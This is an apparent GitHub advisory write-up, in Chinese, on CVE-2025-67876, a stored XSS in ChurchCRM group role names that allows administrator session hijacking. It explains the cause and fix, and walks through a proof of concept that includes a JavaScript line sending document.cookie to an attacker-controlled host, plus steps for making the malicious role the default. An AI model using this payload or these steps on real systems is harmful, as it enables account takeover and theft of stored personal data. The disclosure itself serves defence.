lukasz-rybak/CVE-2025-67876

GitHub: lukasz-rybak/CVE-2025-67876

分析 ChurchCRM 存储型 XSS 导致管理员会话劫持的成因与利用路径。

Stars: 0 | Forks: 0

# CVE-2025-67876:ChurchCRM 群组角色名称存储型 XSS 导致管理员会话劫持 ## 概述 | 字段 | 说明 | |---|---| | **CVE ID** | [CVE-2025-67876](https://nvd.nist.gov/vuln/detail/CVE-2025-67876) | | **严重性** | 严重 | | **安全公告** | [查看公告](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 影响产品 - **ChurchCRM/CRM** ## 详情 ### 摘要 ChurchCRM 中存在一个存储型跨站脚本(XSS)漏洞。低权限用户(具备“管理群组”权限)可将持久性 JavaScript 注入群组角色名称中。该载荷会被保存在数据库中,并在任何用户(包括管理员)查看显示该角色的页面时执行,例如 GroupView.php 或 PersonView.php。这可能导致完整的会话劫持和账户接管。 ### 细节 根本原因在于处理群组角色名称时缺乏输入验证和输出编码。 在 GroupEditor.php 中编辑群组时,用户可以修改角色名称。应用程序未对输入进行清理(例如未使用 strip_tags、htmlspecialchars 或服务端验证)。该值直接存储在 list_lst 数据库表中。 随后,该存储值在未转义的情况下被注入到 HTML 中: - 在 GroupView.php 中,群组角色显示在包裹在 `` 中的表格单元格内。 - 在 PersonView.php 中,用户的分配群组角色在“分配的群组”下显示。 由于未应用任何转义,攻击者可以在角色名称中存储的任何 HTML 或 JavaScript 都会在受害者浏览器中执行。 因此,低权限用户(具备“管理群组”权限)可通过向角色注入 JavaScript 并将该角色分配给管理员来提升权限至完整管理员。 ### 漏洞利用示例(PoC) #### 阶段 1 — 攻击者准备 在攻击者控制的机器上创建 x.js: `fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));` 启动服务: `python3 -m http.server 800` #### 阶段 2 — 注入 XSS 载荷 1. 使用具备“管理群组”权限的账户登录。 image 2. 导航至: 群组 → 群组列表 → 选择任意群组 → 设置。 3. 在“群组角色”部分,编辑现有角色或创建新角色。 4. 插入恶意载荷: `">` image 在群组角色列表中,点击角色旁边的“默认”。 这确保恶意角色会被自动分配给加入该群组的任何用户,提高管理员查看其个人资料时触发 XSS 的概率。 image 点击默认角色旁边的“删除”,通常为“成员”。 移除干净的默认角色会迫使系统在未来的所有分配中使用该注入了 XSS 的角色,确保受害者在查看任何显示其分配角色的页面时都会执行载荷。 image 5. 保存角色名称。 image #### 阶段 3 — 将恶意角色分配给受害者 1. 进入群组查看页面。 2. 将任意用户添加为群组成员(例如 Church Admin)。 image 3. 从下拉菜单中选择恶意角色。 4. 保存分配。 image #### 阶段 4 — XSS 执行 当受害者(管理员)访问以下页面时: - 个人资料页面:PersonView.php image - 群组查看页面:GroupView.php 存储的 JavaScript 会立即执行。 在攻击者服务器上,接收到的请求将显示如下: image image 这证实了账户劫持成功。 ### 影响 - 存储型 XSS - 完整的管理员会话劫持 - 从低权限用户提升至完整系统管理员的权限提升 - 暴露 ChurchCRM 中存储的所有敏感个人数据 ### CWE CWE-79:在网页生成过程中未能正确中和输入(“跨站脚本”) ### 建议 - 对所有角色名称的渲染实施输出编码(htmlspecialchars)。 - 在服务端验证并清理角色名称。 - 检查其他基于列表的可编辑字段是否存在类似漏洞。 - 考虑使用集中式的转义库或模板引擎。 ## 参考链接 - https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh ## 免责声明 本 CVE 遵循协调漏洞披露(Coordinated Vulnerability Disclosure)流程进行负责任披露。此处提供的信息仅用于教育和防御目的。
标签:AdminSession, API密钥检测, ChurchCRM, CISA项目, CVE-2025-67876, GroupEditor, GroupRole, GroupView, HTML注入, IP 地址批量处理, JavaScript注入, list_lst, ManageGroups权限, PersonView, Web安全, 会话劫持, 协议分析, 存储型XSS, 持久化XSS, 文档安全, 服务端安全, 权限提升, 模糊测试, 网络安全审计, 自动化分析, 蓝队分析, 账户接管, 跨站脚本, 输入验证, 输出编码